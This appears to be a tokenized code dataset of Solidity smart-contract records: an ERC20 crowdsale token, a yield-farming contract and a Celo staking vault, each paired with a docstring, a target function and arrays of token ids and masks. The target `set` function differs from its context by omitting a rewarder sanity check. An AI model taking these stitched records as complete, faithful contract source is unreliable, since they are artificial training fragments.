event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LuckCashToken is PausableToken, CappedToken {
string public constant name = "LuckCash";
string public constant symbol = "LCK";
uint8 public constant decimals = 18;
function LuckCashToken(uint _cap) public CappedToken(_cap) PausableToken() {
}
} | * @dev Must be called after crowdsale ends, to do some extra finalization work. Calls the contract's finalization function./ | function finalize() onlyOwnerOrAfterReconciliation public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
| 295,547 | [
1,
10136,
506,
2566,
1839,
276,
492,
2377,
5349,
3930,
16,
358,
741,
2690,
2870,
727,
1588,
1440,
18,
23665,
326,
6835,
1807,
727,
1588,
445,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
12409,
1435,
1338,
5541,
1162,
4436,
426,
11504,
16278,
1071,
288,
203,
3639,
2583,
12,
5,
291,
7951,
1235,
1769,
203,
3639,
2583,
12,
5332,
28362,
10663,
203,
203,
3639,
727,
1588,
5621,
203,
3639,
16269,
1235,
5621,
203,
3639,
29200,
1235,
273,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./AlligatorToken.sol";
interface IRewarder {
function onGtrReward(address user, uint256 newLpAmount) external;
function pendingTokens(address user) external view returns (uint256 pending);
function rewardToken() external view returns (IERC20);
}
library BoringERC20 {
bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()
bytes4 private constant SIG_NAME = 0x06fdde03; // name()
bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
function returnDataToString(bytes memory data) internal pure returns (string memory) {
if (data.length >= 64) {
return abi.decode(data, (string));
} else if (data.length == 32) {
uint8 i = 0;
while (i < 32 && data[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && data[i] != 0; i++) {
bytesArray[i] = data[i];
}
return string(bytesArray);
} else {
return "???";
}
}
/// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token symbol.
function safeSymbol(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.name version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token name.
function safeName(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value.
/// @param token The address of the ERC-20 token contract.
/// @return (uint8) Token decimals.
function safeDecimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
/// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param from Transfer tokens from.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
// The AlligatorFarmer manages the distribution of reward tokens to holders of staked LP tokens.
// It rewards GTR tokens to holders of staked LP tokens and supports double rewards farms that can
// reward users with any ERC-20 token.
contract AlligatorFarmer is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using BoringERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has deposited.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// At any point in time, the amount of GTRs entitled to a user but
// is pending to be distributed is:
//
// pendingReward = (user.amount * pool.accGtrPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool, this is what happens:
// 1. The pool's `accGtrPerShare` (and `lastRewardTimestamp`) gets updated.
// 2. User receives the pending reward sent to their address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of the LP token contract.
uint256 allocPoint; // Number of allocation points assigned to this pool. GTRs to distribute per second.
uint256 lastRewardTimestamp; // Last timestamp that GTRs distribution occured.
uint256 accGtrPerShare; // Accumulated GTRs per share, times 1e12. See below.
IRewarder rewarder; // Address of the rewarder for double rewards farms.
}
// The Alligator token
AlligatorToken public gtr;
// Dev address.
address public devAddr;
// Treasury address.
address public treasuryAddr;
// Investor address.
address public investorAddr;
// GTR tokens created per second.
uint256 public gtrPerSec;
// Percentage of pool rewards that goes to the devs.
uint256 public devPercent;
// Percentage of pool rewards that goes to the treasury.
uint256 public treasuryPercent;
// Percentage of pool rewards that goes to the investor.
uint256 public investorPercent;
// Info of each pool.
PoolInfo[] public poolInfo;
// Set of all LP tokens that have been added as pools
EnumerableSet.AddressSet private lpTokens;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
// The timestamp when GTR mining starts.
uint256 public startTimestamp;
uint256 private constant ACC_TOKEN_PRECISION = 1e12;
event Add(uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder);
event Set(uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event UpdatePool(uint256 indexed pid, uint256 lastRewardTimestamp, uint256 lpSupply, uint256 accGtrPerShare);
event Harvest(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event SetDevAddress(address indexed oldAddress, address indexed newAddress);
event UpdateEmissionRate(address indexed user, uint256 _gtrPerSec);
constructor(
AlligatorToken _gtr,
address _devAddr,
address _treasuryAddr,
address _investorAddr,
uint256 _gtrPerSec,
uint256 _startTimestamp,
uint256 _devPercent,
uint256 _treasuryPercent,
uint256 _investorPercent
) public {
require(0 <= _devPercent && _devPercent <= 500, "constructor: invalid dev percent value");
require(0 <= _treasuryPercent && _treasuryPercent <= 500, "constructor: invalid treasury percent value");
require(0 <= _investorPercent && _investorPercent <= 500, "constructor: invalid investor percent value");
require(_devPercent + _treasuryPercent + _investorPercent <= 500, "constructor: total percent over max");
gtr = _gtr;
devAddr = _devAddr;
treasuryAddr = _treasuryAddr;
investorAddr = _investorAddr;
gtrPerSec = _gtrPerSec;
startTimestamp = _startTimestamp;
devPercent = _devPercent;
treasuryPercent = _treasuryPercent;
investorPercent = _investorPercent;
totalAllocPoint = 0;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new LP to the farms. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be incorrect if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
IRewarder _rewarder
) public onlyOwner {
require(
Address.isContract(address(_rewarder)) || address(_rewarder) == address(0),
"add: rewarder must be contract or zero"
);
require(!lpTokens.contains(address(_lpToken)), "add: LP already added");
// Sanity check to ensure _lpToken is an ERC20 token
_lpToken.balanceOf(address(this));
// Sanity check if we add a rewarder
if (address(_rewarder) != address(0)) {
_rewarder.onGtrReward(address(0), 0);
}
massUpdatePools();
uint256 lastRewardTimestamp = block.timestamp > startTimestamp ? block.timestamp : startTimestamp;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardTimestamp: lastRewardTimestamp,
accGtrPerShare: 0,
rewarder: _rewarder
})
);
lpTokens.add(address(_lpToken));
emit Add(poolInfo.length.sub(1), _allocPoint, _lpToken, _rewarder);
}
// Update the given pool's GTR allocation point and/or rewarder. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
IRewarder _rewarder,
bool overwrite
) public onlyOwner {
require(
Address.isContract(address(_rewarder)) || address(_rewarder) == address(0),
"set: rewarder must be contract or zero"
);
massUpdatePools();
PoolInfo memory pool = poolInfo[_pid];
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
pool.allocPoint = _allocPoint;
if (overwrite) {
_rewarder.onGtrReward(address(0), 0); // sanity check
pool.rewarder = _rewarder;
}
poolInfo[_pid] = pool;
emit Set(_pid, _allocPoint, overwrite ? _rewarder : pool.rewarder, overwrite);
}
// View function to see pending GTRs on the frontend.
function pendingTokens(uint256 _pid, address _user)
external
view
returns (
uint256 pendingGtr,
address bonusTokenAddress,
string memory bonusTokenSymbol,
uint256 pendingBonusToken
)
{
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accGtrPerShare = pool.accGtrPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTimestamp && lpSupply != 0) {
uint256 multiplier = block.timestamp.sub(pool.lastRewardTimestamp);
uint256 lpPercent = 1000 - devPercent - treasuryPercent - investorPercent;
uint256 gtrReward = multiplier
.mul(gtrPerSec)
.mul(pool.allocPoint)
.div(totalAllocPoint)
.mul(lpPercent)
.div(1000);
accGtrPerShare = accGtrPerShare.add(gtrReward.mul(ACC_TOKEN_PRECISION).div(lpSupply));
}
pendingGtr = user.amount.mul(accGtrPerShare).div(ACC_TOKEN_PRECISION).sub(user.rewardDebt);
// If it is a double reward farm, we return info about the bonus token as well.
if (address(pool.rewarder) != address(0)) {
bonusTokenAddress = address(pool.rewarder.rewardToken());
bonusTokenSymbol = IERC20(pool.rewarder.rewardToken()).safeSymbol();
pendingBonusToken = pool.rewarder.pendingTokens(_user);
}
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo memory pool = poolInfo[_pid];
if (block.timestamp > pool.lastRewardTimestamp) {
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply > 0) {
uint256 multiplier = block.timestamp.sub(pool.lastRewardTimestamp);
uint256 gtrReward = multiplier.mul(gtrPerSec).mul(pool.allocPoint).div(totalAllocPoint);
uint256 lpPercent = 1000 - devPercent - treasuryPercent - investorPercent;
gtr.mint(devAddr, gtrReward.mul(devPercent).div(1000));
gtr.mint(treasuryAddr, gtrReward.mul(treasuryPercent).div(1000));
gtr.mint(investorAddr, gtrReward.mul(investorPercent).div(1000));
gtr.mint(address(this), gtrReward.mul(lpPercent).div(1000));
pool.accGtrPerShare = pool.accGtrPerShare.add(
gtrReward.mul(ACC_TOKEN_PRECISION).div(lpSupply).mul(lpPercent).div(1000)
);
}
pool.lastRewardTimestamp = block.timestamp;
poolInfo[_pid] = pool;
emit UpdatePool(_pid, pool.lastRewardTimestamp, lpSupply, pool.accGtrPerShare);
}
}
// Deposit LP tokens to AlligatorFarmer for GTR allocation.
function deposit(uint256 _pid, uint256 _amount) public {
updatePool(_pid);
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
if (user.amount > 0) {
// Harvest GTR
uint256 pending = user.amount.mul(pool.accGtrPerShare).div(ACC_TOKEN_PRECISION).sub(user.rewardDebt);
safeGtrTransfer(msg.sender, pending);
emit Harvest(msg.sender, _pid, pending);
}
uint256 balanceBefore = pool.lpToken.balanceOf(address(this));
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
uint256 receivedAmount = pool.lpToken.balanceOf(address(this)).sub(balanceBefore);
user.amount = user.amount.add(receivedAmount);
user.rewardDebt = user.amount.mul(pool.accGtrPerShare).div(ACC_TOKEN_PRECISION);
IRewarder rewarder = pool.rewarder;
if (address(rewarder) != address(0)) {
rewarder.onGtrReward(msg.sender, user.amount);
}
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from AlligatorFarmer.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: amount too high");
updatePool(_pid);
if (user.amount > 0) {
// Harvest GTR
uint256 pending = user.amount.mul(pool.accGtrPerShare).div(ACC_TOKEN_PRECISION).sub(user.rewardDebt);
safeGtrTransfer(msg.sender, pending);
emit Harvest(msg.sender, _pid, pending);
}
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accGtrPerShare).div(ACC_TOKEN_PRECISION);
IRewarder rewarder = pool.rewarder;
if (address(rewarder) != address(0)) {
rewarder.onGtrReward(msg.sender, user.amount);
}
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
IRewarder rewarder = pool.rewarder;
if (address(rewarder) != address(0)) {
rewarder.onGtrReward(msg.sender, 0);
}
pool.lpToken.safeTransfer(address(msg.sender), amount);
emit EmergencyWithdraw(msg.sender, _pid, amount);
}
// Safe GTR transfer function, just in case a rounding error causes the pool to not have enough GTRs.
function safeGtrTransfer(address _to, uint256 _amount) internal {
uint256 gtrBal = gtr.balanceOf(address(this));
if (_amount > gtrBal) {
gtr.transfer(_to, gtrBal);
} else {
gtr.transfer(_to, _amount);
}
}
// Update the dev address.
function dev(address _devAddr) public {
require(msg.sender == devAddr, "dev: intruder alert");
devAddr = _devAddr;
emit SetDevAddress(msg.sender, _devAddr);
}
// Update treasury address by the previous treasury.
function setTreasuryAddr(address _treasuryAddr) public {
require(msg.sender == treasuryAddr, "setTreasuryAddr: intruder alert");
treasuryAddr = _treasuryAddr;
}
// Update the investor address by the previous investor.
function setInvestorAddr(address _investorAddr) public {
require(msg.sender == investorAddr, "setInvestorAddr: intruder alert");
investorAddr = _investorAddr;
}
}
| Update the given pool's GTR allocation point and/or rewarder. Can only be called by the owner. | function set(
uint256 _pid,
uint256 _allocPoint,
IRewarder _rewarder,
bool overwrite
) public onlyOwner {
require(
Address.isContract(address(_rewarder)) || address(_rewarder) == address(0),
"set: rewarder must be contract or zero"
);
massUpdatePools();
PoolInfo memory pool = poolInfo[_pid];
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
pool.allocPoint = _allocPoint;
if (overwrite) {
pool.rewarder = _rewarder;
}
poolInfo[_pid] = pool;
emit Set(_pid, _allocPoint, overwrite ? _rewarder : pool.rewarder, overwrite);
}
| 6,442,065 | [
1,
1891,
326,
864,
2845,
1807,
611,
4349,
13481,
1634,
471,
19,
280,
283,
20099,
18,
4480,
1338,
506,
2566,
635,
326,
3410,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
12,
203,
3639,
2254,
5034,
389,
6610,
16,
203,
3639,
2254,
5034,
389,
9853,
2148,
16,
203,
3639,
15908,
359,
297,
765,
389,
266,
20099,
16,
203,
3639,
1426,
6156,
203,
565,
262,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
203,
5411,
5267,
18,
291,
8924,
12,
2867,
24899,
266,
20099,
3719,
747,
1758,
24899,
266,
20099,
13,
422,
1758,
12,
20,
3631,
203,
5411,
315,
542,
30,
283,
20099,
1297,
506,
6835,
578,
3634,
6,
203,
3639,
11272,
203,
203,
3639,
8039,
1891,
16639,
5621,
203,
203,
3639,
8828,
966,
3778,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
2078,
8763,
2148,
273,
2078,
8763,
2148,
18,
1717,
12,
6011,
18,
9853,
2148,
2934,
1289,
24899,
9853,
2148,
1769,
203,
3639,
2845,
18,
9853,
2148,
273,
389,
9853,
2148,
31,
203,
203,
3639,
309,
261,
19274,
13,
288,
203,
5411,
2845,
18,
266,
20099,
273,
389,
266,
20099,
31,
203,
3639,
289,
203,
203,
3639,
2845,
966,
63,
67,
6610,
65,
273,
2845,
31,
203,
203,
3639,
3626,
1000,
24899,
6610,
16,
389,
9853,
2148,
16,
6156,
692,
389,
266,
20099,
294,
2845,
18,
266,
20099,
16,
6156,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/44787/0x477344df5F64B2CF398d9477A0229dAA71D469dB/sources/src/vaults/SpiralsCeloImpactVault.sol | * @title SpiralsCeloImpactVault @author @douglasqian @notice Implementation of ImpactVault on the Celo Gold token (ERC20 wrapping Celo chain-native currency). Celo deposited is staked in the staked Celo (stCelo) liquid staking protocol. Withdrawing back into Celo is subject to the chain's unlocking period (72 hours) so this contract stages withdrawals until users come back to claim them. For simplicity, each user can only have 1 outstanding withdrawal at any given point in time./ | contract SpiralsCeloImpactVault is ImpactVault {
using SafeERC20Upgradeable for IERC20Upgradeable;
using MathUpgradeable for uint256;
error WithdrawOutstanding(
address receiver,
uint256 value,
uint256 timestamp
);
error WithdrawNotReady(address receiver, uint256 timestamp);
event Receive(address indexed sender, uint256 indexed amount);
event Claim(address indexed receiver, uint256 indexed amount);
event DependenciesUpdated(
address indexed stCelo,
address indexed manager,
address indexed registry
);
pragma solidity 0.8.11;
import {IManager} from "src/interfaces/IManager.sol";
import {IManaged} from "src/interfaces/IManaged.sol";
import {ILockedGold} from "src/interfaces/ILockedGold.sol";
import {IRegistry} from "src/interfaces/IRegistry.sol";
import {ISortedOracles} from "src/interfaces/ISortedOracles.sol";
import {ImpactVault} from "src/vaults/ImpactVault.sol";
import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
